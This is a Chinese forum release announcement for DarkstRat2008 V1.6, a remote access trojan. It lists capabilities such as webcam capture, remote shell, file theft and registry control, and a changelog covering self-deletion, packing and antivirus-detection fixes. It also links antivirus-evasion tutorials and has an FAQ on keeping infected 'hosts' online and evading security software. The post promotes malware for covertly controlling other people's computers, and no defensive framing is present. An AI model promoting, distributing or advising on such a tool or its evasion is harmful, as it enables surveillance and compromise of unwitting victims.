DarkstRat2008 V1.6 双喜版

vinnie

Tank：snsolo 提供


DarkstRat2008 V1.6 双喜版

编译环境：Vista Sp1+Delphi7 使用环境：Win2K\\WinXp\\Win2003\\Vista\\Win2008

1.系统信息:可以查看操作系统版本、Cpu类型、内存信息、杀毒软件、防火墙、检测辅助（虚拟机、360安全卫士等）

、硬盘大小等
2.文件管理:文件浏览、上传、下载、删除、运行 目录创建和删除。
3.屏幕控制:可以查看对方屏幕，控制鼠标（功能未完善）
4.视频捕捉:可以捕获对方的视频摄像头影像
5.超级终端:也就是telnet命令执行
6.进程管理:可以查看对方进程，并可以终止进程。
7.注册表管理:可以浏览、删除、新建、修改
8.服务管理功能:可以浏览、启动、停止、新建、删除
9.窗口管理功能:最大化、最小化、关闭、隐藏窗口、窗口抖动（仿QQ）、发送键盘信息。
10.发送消息:发送一些提示远程用户信息、可以返回用户的选择结果
11.恶作剧：鼠标抖动、锁定鼠标、颠倒鼠标按键、开启关闭光驱、隐藏桌面图标、禁用开始按钮、隐藏任务栏


更新日志:
V1.1
桌面边缘吸附功能
主机上线日志功能
远程重启、远程关机
V1.2
增加自定义服务启动
修正批量卸载、关机等出现的Bug
V1.3
修正服务端生成位置错误的Bug
增加生成服务端后的路径显示
修正主机连接失败出现的提示窗口Bug
服务端加入自删除功能
修正修改备注信息不能单选修改的问题
V1.4
修正360安全卫士和金山清理专家的误报
V1.5
修正V1.4控制端无法查看远程桌面的错误
文件传输菜单增加打开本地文件和文件夹
修正文件管理添加下载的文件无法传输错误
文件管理浏览模式选择、大图标、列表、详细信息
文件管理批量添加下载列表
V1.6
修正原来服务端无法加壳的问题
配置服务端加入选择自删除、和压缩选项(UPX2.92)
修改会员验证部分现在更加稳定

文件校验信息：
DarkstRat.exe
MD5:c24***53e64***73f32e2e15a34d16ec993
SHA1:9c85c9e005****8610d3af572be5fcfa6bee44***72be
CRC32:c1f60b89

Exe_Dll.exe
MD5:5b033fd3dff1e4ad502a323****4109d50d
SHA1:52a684f8a9d91d561c8ba1c5b3fd6c273****1108d0
CRC32:23faa0c4

2008.08.08
New4[D.S.T]
http://www.darkst.com
http://www.fsg2.cn

QQ即时交流群号码如下
DarkstRat 交流群1：666****1860（满）
DarkstRat 交流群2：27***00（满）
DarkstRat 交流群3：670****1861
DarkstRat 交流群4：107****4396

免杀动画教程：http://www.darkst.com/bbs/viewthread.php?tid=21783
免杀动画专题：http://www.darkst.com/bbs/viewthread.php?tid=20053
Bug反馈专贴：http://www.darkst.com/bbs/viewthread.php?tid=22052
引用:
一些问题回复：
Q：为什么提示80被占用
A：关掉迅雷、QQ音乐等占用80端口的程序或者自己修改端口

Q：为什么不能过主动
A：由于个人技术原因不想加（不是自己写的），自己选择别人开发的过主动小程序捆绑就行了

Q：为什么没有HTTP代理
A：你用这个做什么？刷钻？自己找插件自己开！

Q：为什么不开源呢？
A：Delphi远控开源的还少？我就发了三个调试好的远控代码在编程板块了你们想要学习可以找找看！（PS：女王 现在都是远控一大抄）

Q：为什么我100台一下今天就变成10台了？
A：这应该不是远控问题吧，被他家管家发现你了（杀毒软件）

Q：这个远控怎么上线的？我怎么不能上线？
A：多百度，多看教程，多尝试，多虚拟机。

Q：有时候登录验证不是很稳定怎么办？
A：试下1.6的，新的改了这部分看看是不还存在问题

Q：DarkstRat免杀怎么做？
A：1.6版本DLL和Load用的exe都可以生成无壳版本大家按自己需求使用专用提取器来做免杀！免杀方法基本没区别

Q：为什么一些已经掉线的主机还显示在线？
A：这些可能都是不正常断开的，可能是被杀或者那边网络突然断开导致不正常断开，暂时解决方式 重新监听就可以了！

Q：1.6版本的服务端支持加壳？
A：1.6的DLL和EXE都可以做加壳处理，DLL条件必须满足：体积不能大于原导出的体积否则无法导入成功！

Q：系统目录下面的system64.exe是什么？
A：1.6已经不在需要这个exe了，现在你将看不到这个文件了（原来是读取上线信息用的）！

size=7] 暗组论坛奥运期间开放注册

下载地址